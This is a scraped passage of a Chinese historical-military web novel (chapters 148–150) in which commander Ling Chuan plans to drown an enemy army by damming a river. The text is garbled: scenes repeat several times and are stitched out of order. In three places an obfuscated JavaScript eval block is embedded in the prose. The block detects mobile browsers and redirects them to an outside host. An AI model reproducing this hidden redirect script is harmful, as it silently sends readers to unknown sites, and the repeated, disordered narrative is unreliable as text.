也不知是时光磨掉了他一身锐气,还是当年那一战,斩断了他一身傲骨,你堂堂蛇王,就真的甘心**湖遗忘吗? 看样子是朝着朝天垭而去!”传信兵回答道。 拓跋桀点了点头,挥手让传信兵退下。 半个时辰后,一名浑身被黑袍笼罩的身影出现在元帅府,他手持一把长剑,剑柄和剑鞘之上布满鳞片,宛如一条凶猛的毒蛇。 “主帅,你找我?” 黑袍之中传出一道苍老而嘶哑的声音,但更多的是冷漠。 那是一种源自骨子里的冷,仅凭一道声音,便让人置身于冰冷的黑暗之中。 “蛇王,你的剑有多少年没出过鞘了?”拓跋桀看着那道身影,问道。 “不记得了,大概是十年,又或者是二十年……”黑袍之下的声音依旧冰冷,不带一丝一毫的情感。 “朝天垭那边可有消息?”拓跋桀问道。 “一刻钟前传回消息,二十三个目标,十一个得手!” 和拓跋桀听后,脸上终于露出了笑容。 “很好,看来,朝天垭不日便可告破!”拓跋桀大笑道:“此次,蛇窟立下大功,而蛇王你更是居功至伟!” 黑袍就这么静静站在那里,没有说话。 “把你的人都召回来吧,那可都是不可多得的好苗子,更是你这些年花费心血手把手教出来的,损失一个本帅都心疼!” “是!” 就在此时,拓跋桀似乎想起了什么,又说道:“周军之中有一位年轻校尉,名叫凌川,现正带着人在赶去朝天垭的路上,顺手把他的人头摘回来!” “是!” 黑袍说完便转身走了出去。 看着那道略显佝偻的背影,拓跋桀不由得轻叹了一口气。 也不知是时光磨掉了他一身锐气,还是当年那一战,斩断了他一身傲骨,你堂堂蛇王,就真的甘心**湖遗忘吗? 看样子是朝着朝天垭而去!”传信兵回答道。 拓跋桀点了点头,挥手让传信兵退下。 半个时辰后,一名浑身被黑袍笼罩的身影出现在元帅府,他手持一把长剑,剑柄和剑鞘之上布满鳞片,宛如一条凶猛的毒蛇。 “主帅,你找我?” 黑袍之中传出一道苍老而嘶哑的声音,但更多的是冷漠。 那是一种源自骨子里的冷,仅凭一道声音,便让人置身于冰冷的黑暗之中。 “蛇王,你的剑有多少年没出过鞘了?”拓跋桀看着那道身影,问道。 “不记得了,大概是十年,又或者是二十年……”黑袍之下的声音依旧冰冷,不带一丝一毫的情感。 “朝天垭那边可有消息?”拓跋桀问道。 “一刻钟前传回消息,二十三个目标,十一个得手!” 和拓跋桀听后,脸上终于露出了笑容。 “很好,看来,朝天垭不日便可告破!”拓跋桀大笑道:“此次,蛇窟立下大功,而蛇王你更是居功至伟!” 黑袍就这么静静站在那里,没有说话。 “把你的人都召回来吧,那可都是不可多得的好苗子,更是你这些年花费心血手把手教出来的,损失一个本帅都心疼!” “是! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964069|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 就在此时,拓跋桀似乎想起了什么,又说道:“周军之中有一位年轻校尉,名叫凌川,现正带着人在赶去朝天垭的路上,顺手把他的人头摘回来!” “是!” 黑袍说完便转身走了出去。 看着那道略显佝偻的背影,拓跋桀不由得轻叹了一口气。 也不知是时光磨掉了他一身锐气,还是当年那一战,斩断了他一身傲骨,你堂堂蛇王,就真的甘心**湖遗忘吗? 看样子是朝着朝天垭而去!”传信兵回答道。 拓跋桀点了点头,挥手让传信兵退下。 半个时辰后,一名浑身被黑袍笼罩的身影出现在元帅府,他手持一把长剑,剑柄和剑鞘之上布满鳞片,宛如一条凶猛的毒蛇。 “主帅,你找我?” 黑袍之中传出一道苍老而嘶哑的声音,但更多的是冷漠。 那是一种源自骨子里的冷,仅凭一道声音,便让人置身于冰冷的黑暗之中。 “蛇王,你的剑有多少年没出过鞘了?”拓跋桀看着那道身影,问道。 “不记得了,大概是十年,又或者是二十年……”黑袍之下的声音依旧冰冷,不带一丝一毫的情感。 “朝天垭那边可有消息?”拓跋桀问道。 “一刻钟前传回消息,二十三个目标,十一个得手!” 和拓跋桀听后,脸上终于露出了笑容。 “很好,看来,朝天垭不日便可告破!”拓跋桀大笑道:“此次,蛇窟立下大功,而蛇王你更是居功至伟!” 黑袍就这么静静站在那里,没有说话。 “把你的人都召回来吧,那可都是不可多得的好苗子,更是你这些年花费心血手把手教出来的,损失一个本帅都心疼!” “是!” 就在此时,拓跋桀似乎想起了什么,又说道:“周军之中有一位年轻校尉,名叫凌川,现正带着人在赶去朝天垭的路上,顺手把他的人头摘回来!” “是!” 黑袍说完便转身走了出去。 看着那道略显佝偻的背影,拓跋桀不由得轻叹了一口气。 也不知是时光磨掉了他一身锐气,还是当年那一战,斩断了他一身傲骨,你堂堂蛇王,就真的甘心**湖遗忘吗? 看样子是朝着朝天垭而去!”传信兵回答道。 拓跋桀点了点头,挥手让传信兵退下。 半个时辰后,一名浑身被黑袍笼罩的身影出现在元帅府,他手持一把长剑,剑柄和剑鞘之上布满鳞片,宛如一条凶猛的毒蛇。 “主帅,你找我?” 黑袍之中传出一道苍老而嘶哑的声音,但更多的是冷漠。 那是一种源自骨子里的冷,仅凭一道声音,便让人置身于冰冷的黑暗之中。 “蛇王,你的剑有多少年没出过鞘了?”拓跋桀看着那道身影,问道。 “不记得了,大概是十年,又或者是二十年……”黑袍之下的声音依旧冰冷,不带一丝一毫的情感。 “朝天垭那边可有消息?”拓跋桀问道。 “一刻钟前传回消息,二十三个目标,十一个得手!” 和拓跋桀听后,脸上终于露出了笑容。 “很好,看来,朝天垭不日便可告破!”拓跋桀大笑道:“此次,蛇窟立下大功,而蛇王你更是居功至伟!” 黑袍就这么静静站在那里,没有说话。 “把你的人都召回来吧,那可都是不可多得的好苗子,更是你这些年花费心血手把手教出来的,损失一个本帅都心疼!” “是!” 就在此时,拓跋桀似乎想起了什么,又说道:“周军之中有一位年轻校尉,名叫凌川,现正带着人在赶去朝天垭的路上,顺手把他的人头摘回来!” “是!” 黑袍说完便转身走了出去。 看着那道略显佝偻的背影,拓跋桀不由得轻叹了一口气。 也不知是时光磨掉了他一身锐气,还是当年那一战,斩断了他一身傲骨,你堂堂蛇王,就真的甘心**湖遗忘吗? 看样子是朝着朝天垭而去!”传信兵回答道。 拓跋桀点了点头,挥手让传信兵退下。 半个时辰后,一名浑身被黑袍笼罩的身影出现在元帅府,他手持一把长剑,剑柄和剑鞘之上布满鳞片,宛如一条凶猛的毒蛇。 “主帅,你找我?” 黑袍之中传出一道苍老而嘶哑的声音,但更多的是冷漠。 那是一种源自骨子里的冷,仅凭一道声音,便让人置身于冰冷的黑暗之中。 “蛇王,你的剑有多少年没出过鞘了?”拓跋桀看着那道身影,问道。 “不记得了,大概是十年,又或者是二十年……”黑袍之下的声音依旧冰冷,不带一丝一毫的情感。 “朝天垭那边可有消息?”拓跋桀问道。 “一刻钟前传回消息,二十三个目标,十一个得手!” 和拓跋桀听后,脸上终于露出了笑容。 “很好,看来,朝天垭不日便可告破!”拓跋桀大笑道:“此次,蛇窟立下大功,而蛇王你更是居功至伟!” 黑袍就这么静静站在那里,没有说话。 “把你的人都召回来吧,那可都是不可多得的好苗子,更是你这些年花费心血手把手教出来的,损失一个本帅都心疼!” “是!” 就在此时,拓跋桀似乎想起了什么,又说道:“周军之中有一位年轻校尉,名叫凌川,现正带着人在赶去朝天垭的路上,顺手把他的人头摘回来!” “是!” 黑袍说完便转身走了出去。 看着那道略显佝偻的背影,拓跋桀不由得轻叹了一口气。 也不知是时光磨掉了他一身锐气,还是当年那一战,斩断了他一身傲骨,你堂堂蛇王,就真的甘心**湖遗忘吗? 第148章 陈暻垚来信! 残阳如血西风如刀! 尽管已经是季春时节可北疆的夜晚依旧寒冷此时太阳还未落下西风便如刀子一般割脸。 由于是关外行军除了重甲军之外全员披甲好在他们的铠甲里面加了一层棉布做内衬倒也不觉得寒冷。 很快前军来报十里之处有一片废弃村落可供扎营休整。 得到凌川同意之后大家便加快步伐争取在日落之前赶到这里。 远远便看到一些断垣残壁 虽然房屋已经全部倒塌但这些断墙也能挡风而且真遇到敌情还能当做工事。 最主要的是这个地方既然曾经是村落那附近肯定有水源这是扎营选址的要素之一。 进入村落之后各标便按照之前的分工巡防、扎营、做饭以及喂马等事宜分配有序。 可就在此时远处一匹快马疾驰而来巡防士兵习惯性将目光看向不远处的聂星寒。 “是自己人!” 很快一道身影翻身下马来到废旧村落中“快带我去见校尉大人!” “随我来!”孟钊带着他找到凌川。 “斥候队庞峰见过大人!” 凌川眉锋一挑中午才见过斥候队的人现在纪天禄又派人来而且对方满脸急切显然是有重要军情。 “别着急慢慢说!” 凌川拿起水壶递给对方示意他先喝点水。 名为庞峰的斥候顾不上喝水而是从皮囊之中取出一封密信交给凌川“大人这是陈都尉的亲笔密信让我务必在天黑之前送到!” 听到是陈暻垚的密信而且让他天黑之前送到自己手中凌川深知情况紧急立马将其拆开。 陈暻垚的字凌川认得这确实是他的字迹无疑信中内容不多但越往下看他的脸色越是凝重。 “大人陈都尉说什么?”苍蝇神色中带着几分不安问道。 “带庞峰下去休息让各标标长前来议事!”凌川让自己镇定下来对苍蝇下达了命令。 很快五位标长迅速赶来凌川将他们叫到跟前说道:“出事了!” 听到这三个字众人心中不由得一沉。 凌川将陈暻垚的信交给几人传阅信中只有寥寥几句话可几人看后无不是面色凝重。 原来 ,就在前夜,阑州境内忽然冒出大批**,对所有高层将领实施刺杀。 一夜之间,十一名将领被刺身亡,就连主将许牧舟和重甲军统帅薛镇锷都遭到了刺杀,好在二人身边防卫严密,这才没有让**得逞。 陈暻垚作为阑州两位副将之一,坐镇武定关,统辖阑州北面四县。 他虽不在朝天垭,但同样遭到了刺杀,好在陈暻垚实力不弱,虽有受伤,但并无大碍! 得知这一消息后,几位标长中最为紧张的莫过于唐岿然,毕竟,他与陈暻垚可是拜把子的异性兄弟。 “武定关与朝天垭相隔不过三十里,如今,数万大军横压朝天垭,武定关也必然是主战场之一,他的压力不小啊!”唐岿然担忧地说道。 “我现在担心的是,从朔州转战而来的两万大军,目标正是武定关!” 从地理位置上来看,武定关更靠近朔州方向,朝天垭虽是主战场,可敌方已经集结了三万大军,再加两万根本摆不下,所以,靠近朝天垭的武定关,无疑是他们最佳的陈兵之所。 “大人,敌人的两万大军行进缓慢,咱们加快行军速度,定能在他们之前赶到武定关!”轩辕孤鸿的意思是,提前赶到武定关,与陈暻垚的兵马汇合,共同御敌。 “咱们若是进入武定关反而施展不开,我看,不如就留在关外更加灵活一些!”薛焕之提出了自己的看法,毕竟,此前在狼烽口,以及这一次在铁鳞城外,他们都是从背后突袭从而大获全胜。 凌川目光一直盯着地图,忽然,他目光一聚,说道:“咱们得想办法让那两万大军到不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971338|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了武定关!” 尽管他们一路跟随凌川,一次次书写辉煌战绩,可听到凌川竟然要用一千五百人对付胡羯的两万大军,都不由得倒吸一口凉气。 “不用这么看着我,我没疯,更不会带着你们去送死!”凌川见众人用不可思议的眼神看着自己,便知道他们肯定是误会自己的意思了。 估计,他们都以为,自己打了几场胜仗,就膨胀到失去自我,要用一千多人与两万敌军硬刚。 “这两万大军就如同一头猛兽,休酣之时咱们连靠近的机会都没有,唯有在其行动之际,咱们才有一线机会!” 凌川看了几人一眼,继续说道:“咱们要做的就是找到这个机会,就算不能一击毙命,也要将其重创,哪怕最终对方到了武定关,也一定是缺胳膊少腿!” “大人显然是有良策了,直接下达命令吧!”轩辕孤鸿开始摩拳擦掌。 “暂时还没有!”凌川却是摇了摇头,说道:“大家先回去休息,明日提前两个时辰出发!” 打发走众人后,凌川却没有休息,一直对着地图研究,整整两个时辰下来,地图上被他做满了标记。 午夜,苍蝇端来一碗一碗粥和一张饼,说道:“大人,夜深了,吃点东西早些休息吧,再熬下去我怕您身体吃不消!” 凌川抬头看了他一眼,说道:“我不是让你去睡了吗?” “大人不也没睡吗?”苍蝇笑了笑说道。 凌川分了半张饼,把剩下的半张和那碗粥推到苍蝇面前,说道:“这个你吃,帮我找点酒来!” 苍蝇解下自己的酒壶递给凌川,谁知手一滑,竟然把酒洒在了地图之上。 苍蝇满脸惊慌,虽说这地图是用羊皮绘制,可上面有凌川的标记,这要是给弄掉了,就罪过大了。 “大人,我一时手滑,这……” 惊慌失措的苍蝇正要去擦,却被凌川制止。 “别动!” 第149章 曳敕河! 只见凌川双眼死死盯着地图,目光由震惊逐渐变得狂喜。 苍蝇被吓得呆滞原地,不敢乱动。 当凌川抬起头看向自己,苍蝇更是吓得浑身哆嗦。 “哈哈,你小子这次可是立了大功了!满脸激动地说道。 “立功? …… 次日,丁夜做饭,日旦起程。 按照凌川的要求,日落之前,必须赶到曳敕河。 曳敕河是一条从祁连山上流淌下来的河流,从南向北流至关外,在广袤草原上蜿蜒流淌。 曳敕河所过之处水草丰茂,养出的牛羊格外肥硕,战马也更为健壮,以至于牧民们大多逐曳敕河迁徙。 此外,曳敕河还是朔州与阑州的边境,此地距离曳敕河足有一百三十里,到了曳敕河便属阑州地界,再走五十里就是武定关。 截止目前,所有人都不知道凌川到底是什么计划,不过,对于云岚军而言,他们不需要问,更不需要怀疑,只需要照着凌川的命令去做,准没错。 中途,凌川直接将队伍交给了唐岿然带领,自己带着亲兵队每人双骑先行。 近五十人,一路上马不停蹄,历经六个时辰的狂奔,终于来到曳敕河边。 凌川取出一封信交给随行的斥候庞峰,“你再辛苦一趟,日落之前,将这封信送到武定关,亲手交到陈都尉手中! “大人放心,我保证在日落之前把信送到!庞峰信誓旦旦地说道。 随后,他稍作休息,给战马洗了洗鼻,便再次起程,朝着武定关而去。 曳敕河的河水主要来源于祁连山上的冰川,以至于水量出现两极分化,夏季冰川融化,外加降雨增多,曳敕河河水充沛,可一旦到了冬季,祁连雪峰全部结冰,加之降雨减少,曳敕河进入枯水期,很多地方都能脚踏河床穿行。 眼下正是季春时节,祁连雪峰正在快速融化,以至于水量回升,让这条干枯了数月的河流逐渐焕发生机,当然,与丰水期相比还有很大差距。 “大人,咱们这是要干什么?苍蝇好奇地问道。 “全体分成五人一小队,到周围十五里范围寻找树枝、藤蔓以及石头,无需带回来,只要记住位置即可,一个时辰内,无论有无收获,都必须返回!凌川直接下达了命令。 “是!苍蝇跟孟钊二人立马对所有成员进行分队,然后传达命令。 事实上,他们二人也不知道凌川的目的,但是他们没有问,而是选择无条 件执行。 而凌川则是独自一人沿着河道往上走,终于,他找到了一个河道相对较为狭窄的地方。 “就是这里了!” 日落之前,亲兵营各小队逐一返回,草原上,树木石头确实不多,但也并非没有,其中一支小队,就在数里外发现一片胡杨林。 紧接着,唐岿然带着一千二百云岚军也赶到了。 考虑到大家急行军的艰辛,便下令队伍隐蔽休整一个时辰,所有标长则是留下议事。 几位标长和苍蝇都围拢过来,此时,大家都是一头雾水,不知道凌川到底在打什么算盘,不过,看他胸有成竹的样子,想必一定是有妙计。 “大人,到底是什么计策,你赶紧给兄弟们说说吧,大家猜了一路,都快急**!”轩辕孤鸿率先说道。 凌川笑了笑,说道:“其实,我的计划很简单,那就是用水淹死这两万胡羯大军!” “水攻?” 所有人一脸茫然,甚至怀疑自己听错了。 虽说兵书之上不乏水攻的计策,可基本都发生在南方山地,这北疆茫茫草原一片开阔,如果放水淹,对方完全能跑。 最主要的是,如今,丰水期还没到,曳敕河水量虽有恢复,但想要淹死两万大军,远远不够。 凌川将地图打开,指着此地下游二十多里的一片浅滩,说道:“这里是曳敕滩,是方圆百里最为平坦,也地理位置最低的地方,我猜测孛儿帖一定会带着两万大军在这一带扎营!” 众人看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971339|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着曳敕滩的位置,纷纷皱眉,卫敛更是不解地问道:“这关外茫茫草原,到处都适合扎营,大人为何断定他们会在这里扎营?” 凌川笑了笑,说道:“原因有三,第一,他们的行军速度,日落之前应该就处于这一带,如果不出意外的话,你们抵达这里的时候,对方也差不多就在曳敕滩!” “其二,两万兵马的饮水将是一个庞大的数量,曳敕河无疑是最佳选择!” 凌川顿了顿,继续说道:“第三,再往前走便是阑州地界,极有可能遇到阑州军的巡边游骑,甚至有可能有大量阑州军在以逸待劳,打他们一个措手不及,所以,在进入阑州地界之前,他们必须休整兵马,这样一来,就算遇到也有一战之力!” 众人听后,纷纷点头,因为凌川说的每一点都在理。 “就算孛儿帖会让大军在曳敕滩扎营,咱们又去哪里找水来淹死这两万大军?”薛焕之也很是不解地问道。 “自然是曳敕河!”凌川指着地图上的曳敕河,说道。 “大人,想必你也看到了,经历了一个冬天的干涸期,这个季节曳敕河的水位虽然在回升,但远无法和丰水期相比,这点水都无法溢出河床,更何况是淹死北边扎营的胡羯军了!”轩辕孤鸿摇头说道。 “水不够,咱们就修闸蓄水!” 听闻此言,众人目光为之一凝,修闸蓄水,这是他们都没有想到的。 最初,听到凌川说用水攻的时候,所有人都觉得不可能,可经过凌川一番分析,以及将他的计划呈现出来,几人从觉得有可能到逐渐相信,现在更是完全相信了此计的可行性。 “苍蝇,天黑之后,你让亲兵队的兄弟们带路,跟丙标去五里外的胡杨林伐木,注意隐蔽,别**羯人的游骑发现了!” “是!”苍蝇与卫敛同时回答道。 “轩辕孤鸿,你带丁标三百兄弟在此地修一座水闸!”凌川指着地图上,一处河道拐弯的地方,说道。 “属下领命!”轩辕孤鸿朗声回答道。 第150章 子时三刻! 日落之前,纪天禄带人前来汇合。 “大人,跟你预料的丝毫不差,孛儿帖果真让两万大军在曳敕滩扎营!”纪天禄眼神中满是钦佩与崇拜。 “他们营帐是什么布局?”凌川追问道。 “时间仓促,属下来不及绘制布局图,不过我都记在脑子里!”纪天禄从兜里掏出一把沙棘,按照敌军阵营排列的方式进行摆放。预料计划的差不多,成与不成,就看今晚了。 不多时,一名斥候来报,“大人,数里外出现五十人的胡羯游骑!” “让兄弟们注意隐蔽就行,胡羯的游骑一般会探查方圆十里的情况,应该到不了这边!”凌川说道。 片刻之后,那支游骑果真离去,与此同时,夜幕也彻底降临。 凌川让各标按照之前分配的任务行动,必须尽快将水闸修起来,毕竟,蓄水还需要一定时间。 重甲队和斥候队负责防卫,丙标负责伐木,丁标负责修建水闸。 草原上很难找到石头,所以,凌川便让他们将木桩削尖之后打进河床底部,然后以此为柱子,用枝桠编织,再将枯草和进稀泥之中,对缝隙进行填补。 很快,一座水闸便修好了,只不过,这水闸并不牢固,当蓄水量达到一定程度,水闸便会决开。 而这,正是凌川想要的效果。 事实上,凌川还派甲标和乙标绕至曳敕滩下游数里的地方,修建第二座水闸,准确说,这里是修建一座水坝。 由于曳敕河的水量有限,凌川得想方设法将仅有的水量最大化利用。 上游的水闸用于蓄水,等水量足够,水闸自动崩开,奔流而下。 积蓄起来的庞大洪水定会将整个曳敕滩淹没,但,如果不将下游的河道堵住,洪水很快就会流走,无法给两万胡羯大军造成实质性伤亡。 所以,凌川便让洛青云和薛焕之带人在下游筑起第二道水坝。 这道水坝的坚固程度就要强得多了,用的全是粗壮木头,深深打进河床底部,然后用枯草混合稀泥,筑起一道墙壁。 为了保险起见,还多修了两道水坝,就算被冲毁一道,还有两道能够抵挡洪水。 草原的夜空很美,璀璨星空宛如一块镶满宝石的蓝色锦缎铺展开来。 曳敕滩,上百座军营排列在曳敕河东岸,两万大军经历一整天的行军,早已是鼾声一片。 所有战马全都被牵到河边饮水洗鼻。 “其他人都休息了,咱们还得在这儿斥候马儿,这命也是没谁了!”一 名胡羯士兵抱怨道。 “你小声点,要是被上面听到了,少不了吃板子!”另一人小声提醒道。 “咦……怎么没水了?” 忽然,其中一人借助月光看着河道,“天黑前不还有很多水吗?怎么现在都干了?” 另一人则是见怪不怪,说道:“你也不想想,咱们两万人,外加上万匹战马,把水喝干不是很正常吗?” “不对呀,之前看着水挺大啊,都快小半河水了!”那名胡羯士兵依旧觉得不对劲。 …… 酉时刚过,武定关城门大开,五千骑趁着夜色出城,直奔曳敕滩而去。 领头之人乃是一名二十六七岁的男子,眉宇间带着几分书生气,却又不失阳刚与英武。 此人不是别人,正是陈暻垚。 时间一点点过去,曳敕滩上游水闸中,水位以肉眼可见的速度上涨,由于曳敕河河道平缓,水位每上涨一分都需要很多水量。 守在这里的是轩辕孤鸿率领的丁标。 轩辕孤鸿抬头看了一眼星空,问道:“什么时辰了?” “回标长,快到子时了!”一名士兵回答道。 “水闸还差多少?”轩辕孤鸿又问道。 “不足三尺了!” 听到这里,轩辕孤鸿神色一变,说道:“不行,得把闸口加高!” 按照之前凌川的交代,子时三刻开闸放水,可按照现在的进度来看,不到子时,水位就会漫过水闸。 士兵们立马行动起来,开始加高闸口。 既然是水攻,水自然是越多越好,可问题是,若是加高闸口,这座临时修建的水闸未必承受得住。 因为,水闸每加高一分,水闸承受的压力将翻几倍。 轩辕孤鸿现在只能在心里祈祷,水闸能坚持到子时三刻。 然而,他担心的事情终究还是发生了。 “标长,不好了,水闸快崩了!” 轩辕孤鸿脸色剧变,快步来到水闸边,只见水闸已经朝外鼓起来,扎在河床下面的木桩也严重弯曲,似乎随时都会断开。 “快,加木桩!” 轩辕孤鸿大喝一声,随即纵身一跃来到河床下,抱起一根削尖的木头冲了上去。 其他人也不敢耽搁,迅速开始加固,可即便如此,随着蓄水的不断增加,水闸崩溃的趋势越来越明显。 “标长,这水闸扛不住了,要不提前放水吧!”一名什长提议道。 “不行!”轩辕孤鸿想都没想,直接将其否决。 提前放水,固然能解决眼前的问题,可凌川的命令是子时三刻,就算早一刻,都有可能打乱整个计划。 毕竟,水淹两万敌军,只是整个计划的第一步。 “标长,水闸快顶不住了!” “就算用身体,也要给老子顶住!”轩辕孤鸿大喝道。 士兵们纷纷跳下河谷,用双手推住木桩,亦或是用后背抵在水闸上。 不多时,水位再次漫过闸口,流在士兵们的身上,要知道,这可是祁连雪峰上冰川融化之后流下来水,浸湿铠甲之后,冷得刺骨。 很多人都冻得嘴唇发紫,浑身哆嗦,但他们还是在咬牙坚持,没有人撤退。 “还有多久?”轩辕孤鸿咬牙问道。 “还有一刻钟!”岸边的士兵满脸焦急,紧盯着马蹄沙漏。 “准备绳索!”轩辕孤鸿再次下令,很快一条条绳索绑在河谷中那些士兵的腰上,另一头则是被岸边的士兵们死死拽住。 随着闸口溢出的水越来越多,下面的士兵已经被淹没,很多人浑身被冻得僵硬,四肢都失去了知觉。 终于,一名士兵举着马蹄沙漏大喊道: “标长,时间到了!” 名胡羯士兵抱怨道。 “你小声点,要是被上面听到了,少不了吃板子!”另一人小声提醒道。 “咦……怎么没水了?” 忽然,其中一人借助月光看着河道,“天黑前不还有很多水吗?怎么现在都干了?” 另一人则是见怪不怪,说道:“你也不想想,咱们两万人,外加上万匹战马,把水喝干不是很正常吗?” “不对呀,之前看着水挺大啊,都快小半河水了!”那名胡羯士兵依旧觉得不对劲。 …… 酉时刚过,武定关城门大开,五千骑趁着夜色出城,直奔曳敕滩而去。 领头之人乃是一名二十六七岁的男子,眉宇间带着几分书生气,却又不失阳刚与英武。 此人不是别人,正是陈暻垚。 时间一点点过去,曳敕滩上游水闸中,水位以肉眼可见的速度上涨,由于曳敕河河道平缓,水位每上涨一分都需要很多水量。 守在这里的是轩辕孤鸿率领的丁标。 轩辕孤鸿抬头看了一眼星空,问道:“什么时辰了?” “回标长,快到子时了!”一名士兵回答道。 “水闸还差多少?”轩辕孤鸿又问道。 “不足三尺了!” 听到这里,轩辕孤鸿神色一变,说道:“不行,得把闸口加高!” 按照之前凌川的交代,子时三刻开闸放水,可按照现在的进度来看,不到子时,水位就会漫过水闸。 士兵们立马行动起来,开始加高闸口。 既然是水攻,水自然是越多越好,可问题是,若是加高闸口,这座临时修建的水闸未必承受得住。 因为,水闸每加高一分,水闸承受的压力将翻几倍。 轩辕孤鸿现在只能在心里祈祷,水闸能坚持到子时三刻。 然而,他担心的事情终究还是发生了。 “标长,不好了,水闸快崩了!” 轩辕孤鸿脸色剧变,快步来到水闸边,只见水闸已经朝外鼓起来,扎在河床下面的木桩也严重弯曲,似乎随时都会断开。 “快,加木桩!” 轩辕孤鸿大喝一声,随即纵身一跃来到河床下,抱起一根削尖的木头冲了上去。 其他人也不敢耽搁,迅速开始加固,可即便如此,随着蓄水的不断增加,水闸崩溃的趋势越来越明显。 “标长,这水闸扛不住了,要不提前放水吧!”一名什长提议道。 “不行!”轩辕孤鸿想都没想,直接将其否决。 提前放水,固然能解决眼前的问题,可凌川的命令是子时三刻,就算早一刻,都有可能打乱整个计划。 毕竟,水淹两万敌军,只是整个计划的第一步。 “标长,水闸快顶不住了!” “就算用身体,也要给老子顶住!”轩辕孤鸿大喝道。 士兵们纷纷跳下河谷,用双手推住木桩,亦或是用后背抵在水闸上。 不多时,水位再次漫过闸口,流在士兵们的身上,要知道,这可是祁连雪峰上冰川融化之后流下来水,浸湿铠甲之后,冷得刺骨。 很多人都冻得嘴唇发紫,浑身哆嗦,但他们还是在咬牙坚持,没有人撤退。 “还有多久?”轩辕孤鸿咬牙问道。 “还有一刻钟!”岸边的士兵满脸焦急,紧盯着马蹄沙漏。 “准备绳索!”轩辕孤鸿再次下令,很快一条条绳索绑在河谷中那些士兵的腰上,另一头则是被岸边的士兵们死死拽住。 随着闸口溢出的水越来越多,下面的士兵已经被淹没,很多人浑身被冻得僵硬,四肢都失去了知觉。 终于,一名士兵举着马蹄沙漏大喊道: “标长,时间到了!” 名胡羯士兵抱怨道。 “你小声点,要是被上面听到了,少不了吃板子!”另一人小声提醒道。 “咦……怎么没水了?” 忽然,其中一人借助月光看着河道,“天黑前不还有很多水吗?怎么现在都干了?” 另一人则是见怪不怪,说道:“你也不想想,咱们两万人,外加上万匹战马,把水喝干不是很正常吗?” “不对呀,之前看着水挺大啊,都快小半河水了!”那名胡羯士兵依旧觉得不对劲。 …… 酉时刚过,武定关城门大开,五千骑趁着夜色出城,直奔曳敕滩而去。 领头之人乃是一名二十六七岁的男子,眉宇间带着几分书生气,却又不失阳刚与英武。 此人不是别人,正是陈暻垚。 时间一点点过去,曳敕滩上游水闸中,水位以肉眼可见的速度上涨,由于曳敕河河道平缓,水位每上涨一分都需要很多水量。 守在这里的是轩辕孤鸿率领的丁标。 轩辕孤鸿抬头看了一眼星空,问道:“什么时辰了?” “回标长,快到子时了!”一名士兵回答道。 “水闸还差多少?”轩辕孤鸿又问道。 “不足三尺了!” 听到这里,轩辕孤鸿神色一变,说道:“不行,得把闸口加高!” 按照之前凌川的交代,子时三刻开闸放水,可按照现在的进度来看,不到子时,水位就会漫过水闸。 士兵们立马行动起来,开始加高闸口。 既然是水攻,水自然是越多越好,可问题是,若是加高闸口,这座临时修建的水闸未必承受得住。 因为,水闸每加高一分,水闸承受的压力将翻几倍。 轩辕孤鸿现在只能在心里祈祷,水闸能坚持到子时三刻。 然而,他担心的事情终究还是发生了。 “标长,不好了,水闸快崩了!” 轩辕孤鸿脸色剧变,快步来到水闸边,只见水闸已经朝外鼓起来,扎在河床下面的木桩也严重弯曲,似乎随时都会断开。 “快,加木桩!” 轩辕孤鸿大喝一声,随即纵身一跃来到河床下,抱起一根削尖的木头冲了上去。 其他人也不敢耽搁,迅速开始加固,可即便如此,随着蓄水的不断增加,水闸崩溃的趋势越来越明显。 “标长,这水闸扛不住了,要不提前放水吧!”一名什长提议道。 “不行!”轩辕孤鸿想都没想,直接将其否决。 提前放水,固然能解决眼前的问题,可凌川的命令是子时三刻,就算早一刻,都有可能打乱整个计划。 毕竟,水淹两万敌军,只是整个计划的第一步。 “标长,水闸快顶不住了!” “就算用身体,也要给老子顶住!”轩辕孤鸿大喝道。 士兵们纷纷跳下河谷,用双手推住木桩,亦或是用后背抵在水闸上。 不多时,水位再次漫过闸口,流在士兵们的身上,要知道,这可是祁连雪峰上冰川融化之后流下来水,浸湿铠甲之后,冷得刺骨。 很多人都冻得嘴唇发紫,浑身哆嗦,但他们还是在咬牙坚持,没有人撤退。 “还有多久?”轩辕孤鸿咬牙问道。 “还有一刻钟!”岸边的士兵满脸焦急,紧盯着马蹄沙漏。 “准备绳索!”轩辕孤鸿再次下令,很快一条条绳索绑在河谷中那些士兵的腰上,另一头则是被岸边的士兵们死死拽住。 随着闸口溢出的水越来越多,下面的士兵已经被淹没,很多人浑身被冻得僵硬,四肢都失去了知觉。 终于,一名士兵举着马蹄沙漏大喊道: “标长,时间到了!” 